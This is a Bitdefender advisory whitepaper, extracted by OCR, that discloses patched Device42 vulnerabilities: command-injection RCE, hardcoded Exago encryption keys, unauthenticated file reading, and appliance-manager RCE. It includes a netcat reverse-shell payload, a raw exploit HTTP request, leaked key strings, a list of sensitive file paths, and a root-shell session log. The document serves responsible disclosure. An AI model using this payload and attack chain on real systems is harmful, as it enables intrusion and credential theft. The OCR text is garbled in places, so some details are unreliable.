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Executive summary

Bitdefender Whitepaper

Multiple Vulnerabilities in the Device4?2 Asset Management Appliance

Key findings

While investigating the Device42 platform, we found
multiple severe security issues exploitable by attackers
with any level of access within the host network.

By exploiting these issues, an attacker could impersonate
other users, obtain admin level access in the application
(by leaking session with a LFI) or obtain full access to
the appliance files and database (through remote code
execution).

By chaining multiple vulnerabilities, an attacker can
achieve remote code execution with root privileges
starting from an unauthenticated session:

+ Authentication bypass with a unauthenticated local
file inclusion vulnerability discovered in the Exago
reports component by extracting valid session IDs of
authenticated users

+  Remote code execution by creating an autodiscovery
task (*nix/CISCO NX-0S) with crafted RCE payload as
username

Besides the critical vulnerabilities, other vulnerabilities

were found:

+ remote code execution vulnerability in the
appliance manager component (the credentials for
appliance manager can be obtained with any of the
vulnerabilities described above)

Disclosure timeline

+ Feb 18,2022 - Bitdefender submits the vulnerability
report to vendor

«  Mar 16, 2022 - Vulnerabilities are demonstrated and
explained in a briefing call

+ Apr 20,2022 - Bitdefender reserves CVE numbers for
the confirmed vulnerabilities

« Apr 21,2022 - Bitdefender follows up with vendor
regarding patch progress, sends out CVE numbers to
vendor

« July 20, 2022 - Vendors sends version 18.01.00 for
+ review. The submitted ulnerabilities are now fixed.

* Aug 10,2022 - This report and accompanying CVEs
are publicly released
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Assigned CVEs

+  CVE-2022-1399 - Remote Code Execution in scheduled tasks component

«  CVE-2022-1400 - Hardcoded encryption key IV in Exago WebReportsApi.dil.
CVE 2022-1401 - Insufficient validation of provided paths in Exago

«  CVE-2022-1410 - Remote Code Execution in ApplianceManager console

Vulnerability overview

1. [Critical] RCE in autodiscovery *nix and Cisco NX-0S tasks as
any authenticated user with create tasks permissions

Throughthediscovery *nix/CISCO NX-0S tasks functionality, an attacker can achieve remote code execution with
root privileges by manipulating ssh bash command parameters. By creating any task with alternate ssh option enabled
(to trigger the execution of singlesession.go binary), one can execute bash commands through command injection

Steps to reproduce:

a) Open areverse shell listener on the attacker machine:
nc -lvp 1234

b) From the Device42 application, log in with an account with “System Generated Read and Add” rights.

c) Inthe Infrastructure/Secrets panel, create a set of credentials with a command injection payload in
username. The payload can be a reverse shell connection with netcat to the attacker machine: /usr/
bin/nc -e /bin/sh attcker_ip attacker_port

DZVICZ 4 Infrastructure  Resources Applications Discovery Analytics Tools @ ==engvs (@ ] redteam... v

Home »Secrats & s bin/n -e /bin/ah 1037.6.223 1234 e
Change Secret - & Jusr/bin/nc -e /bin/sh 10.17.46.223 1234 # (test) View History (AuditLogs)  ses

eeeeeeee & Juse/bin/nc -e /bin/sh 1017462231234 #  Lebel test Category = .

[ Choose File | Nofile chosen

[_save and add another | [ save and continue editing Save

d) Inthe Discovery panel, generate an autodiscovery nix task with the following settings:

- Valid ip and port for ssh (you can use attacker ip and open a ssh port on 22)


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1399
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1400
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1401
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1410
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+  From miscellanenous tab, you have to check “Use Alternate shh” checkbox
+  From discovery target credential, select the credentials created at step1
The extracted burp request is available below:

POST /admin/autodiscover/vserver/add/ HTTP/1.1

Host: cmdb-stage.localdomain

Cookie: django language=en; d42amid
csrftoken=iDobnrLbzmUk4XKZFim40OPGWgG5SNDEFZQ8Kcisz3dBcofRBZ9gKHS5YT6edJcmKp7;

selected deviceid=2738; selected tab class=tabl-1; delete cookies=1; d42sessnid_
csrftoken=irbHwFsUEDmv8byzAD6GngGLALEpriDW; d42sessnid=944del3191dfc6£722509eeb6clb0£fdf3

Content-Length: 10169

Cache-Control: max-age=0

Sec-Ch-Ua: “ Not A;Brand”;v="99”, “Chromium”;v="90"

Sec-Ch-Ua-Mobile: 20

Upgrade-Insecure-Requests: 1

Origin: https://cmdb-stage.localdomain

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaPHi1XAI1BELg28qg

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/90.0.4430.93 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;qg=0.9,image/avif, image/
webp, image/apng, */*;g=0.8,application/signed-exchange;v=b3;g=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://cmdb-stage.localdomain/admin/autodiscover/vserver/add/
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Connection: close

—————— WebKitFormBoundaryaPHi1XAT1BELg28g

Content-Disposition: form-data; name="csrfmiddlewaretoken”
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irbHWFsUEDmv8byzAD6GNgGLALEpriDW
—————— WebKitFormBoundaryaPHi1XATI1BELg28qg

Content-Disposition: form-data; name="name”

—————— WebKitFormBoundaryaPHi1XATI1BELg28g-—

e) Running the created task and back on the attacker machine should result in a re-
verse shell connection from device4?2 server:

0l.bitdefender.biz [10

y redteam-simon | NN 1°-17

From the auto-generated logs, we can see that the vulnerability is triggered by a go executable which is executing
sshpass bash tool with the provided input arguments from secrets.
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Auto Discovery Schedule
Monday Tuesday Wednesday Thursday Friday Saturday Sunday Time

Expand A/ Collapse All

Job status 7Y

-~ o o|/o o © o o = o

Basic Discovery

Feb.7,2022, ThS6a.m.

Since we can obtain remote shell connection with root privileges, we can read all the secrets saved in database, change
admin password (or promote any user to superuser) and then log in as admin directly in the interface

2. [Critical] Unauthenticated LFI in Exago - account takeover

The Exago encryption key and IV are hardcoded in WebReportsApi.dll (CVE-2022-1400). The rute /Exago/
WrimageResource.axd does not validate the provided paths allowing an unauthenticated attacker to read sensitive
server files with root permissions (CVE-2022-1401). There is a restriction allowing only files with ,.” in the name to be
read.

Vulnerable code (decompiled from WebReportsApi.dll):

public static string EncryptData(string data, bool urlEncode = false) =>
new SymmetricCryptography () .EncryptData (data, “JWZHKGQV8ITXHw3/VLyFfQ==",
“ge2xwnagd4oneiO+CuR41nQ==", urlEncode);

public static string DecryptData (string data, bool urlDecode = false) =>
new SymmetricCryptography () .DecryptData (data, “JWZHKGQV8ITXHw3/VLyFfQ==",

”

“ge2xwnag4oneiO+CuR41nQ==", urlDecode) ;

By leaking users’ session ids (“sid”) from /var/log/django/django.log, an attacker can authenticate
with a (potentially) high level of access.

$ python read file.py /var/log/django/django.log

[ERROR] 2022-02-08T09:19:16+0000 {“sid”: “3775[redacted]7bef”, “tid”: “0101010101010
1010101010101010101”} /home/deviced?2/deviced2-new/deviced?2/rackra’j/CustomFunctions?2.
py:1376: Get escalation profile emails: ‘NoneType’ object has no attribute ‘primary

admin_ groups’

Traceback (most recent call last):
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File “/home/deviced42/deviced2-new/deviced2/rackraj/CustomFunctions2.py”, line 1367,

in get escalation profile emails
AttributeError: ‘NoneType’ object has no attribute ‘primary admin groups’

[ERROR] 2022-02-08T09:19:16+0000 {“sid”: “3775[redacted]7bef”, “tid”: “0101010101010
1010101010101010101”} /home/deviced2/deviced2-new/deviced2/rackraj/CustomFunctions2.
py:1376: Get escalation profile emails: ‘NoneType’ object has no attribute ‘escalationl

admin_ groups’
Traceback (most recent call last):

File “/home/deviced42/deviced42-new/deviced?2/rackraj/CustomFunctions2.py”, line 1370,

in get escalation profile emails

Other files that can be read and that contain sensitive information:

/home/deviced2/applmgr/applmgr.db - credentials for appliance manager, USER: d42admin,
HASH: pbkdf2 sha256$10000$dummy)

/opt/rc/data/quartz.db - discovery Jjobs database: google/aws/snmp/ssh credentials
/home/deviced2/applmgr/applmgr/settings.pyc - apliance manager configuration
/var/log/postgresqgl/postgresqgl.log

/home/deviced2/deviced2-new/deviced2/rc/public.pem and /home/deviced2/deviced2-
new/deviced2/rc/private.pem

/mt/rackraj.conf

3. [Critical] ApplMgr RCE in db_optimize

Requires Appliance Manager credentials (password hash can be obtained with LFI)

Command injection in /applmgr/applmgrsite/views.py, db_optimize()

$ python3 app rce poc.py cmdb-stage.localdomain d42admin [redacted] 10.17.44.231 4444

[+] success

user@kali:~$ nc -vlp 4444
listening on [any] 4444

connect to [10.17.44.231] from deviced4d3-clona.srvexdc(0l.bitdefender.biz [10.18.0.223]
54734

uname -a
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Linux deviced42 3.10.0-1160.21.1.el17.x86 64 #1 SMP Tue Mar 16 18:28:22 UTC 2021 x86 64
x86 64 x86 64 GNU/Linux

id

uid=1000 (deviced2) gid=995 (nginx) groups=995 (nginx), 1000 (deviced2),2002 (venvs)
sudo -1

Matching Defaults entries for deviced42 on deviced?2:

!visiblepw, always set home, match group by gid, env reset, env keep="COLORS
DISPLAY HOSTNAME HISTSIZE KDEDIR LS COLORS”, env_keep+="MAIL PS1 PS2 QTDIR USERNAME
LANG LC ADDRESS LC CTYPE”, env_ keep+="LC COLLATE LC_ IDENTIFICATION LC MEASUREMENT
LC MESSAGES”, env_keep+="”LC MONETARY LC NAME LC NUMERIC LC PAPER LC TELEPHONE”, env
keep+="LC_TIME LC ALL LANGUAGE LINGUAS XKB CHARSET XAUTHORITY”, secure path=/sbin\:/
bin\:/usr/sbin\:/usr/bin

User deviced42 may run the following commands on deviced2:
(ALL) NOPASSWD: ALL
sudo 1id

uid=0(root) gid=0(root) groups=0(root)

Version 18.01.00 update

Bitdefender has received version 18.01.00 ahead of public release and was able to validate that the four reported
vulnerabilities are no longer present. We advise customers running older versions of the product to update
immediately to the latest available version.
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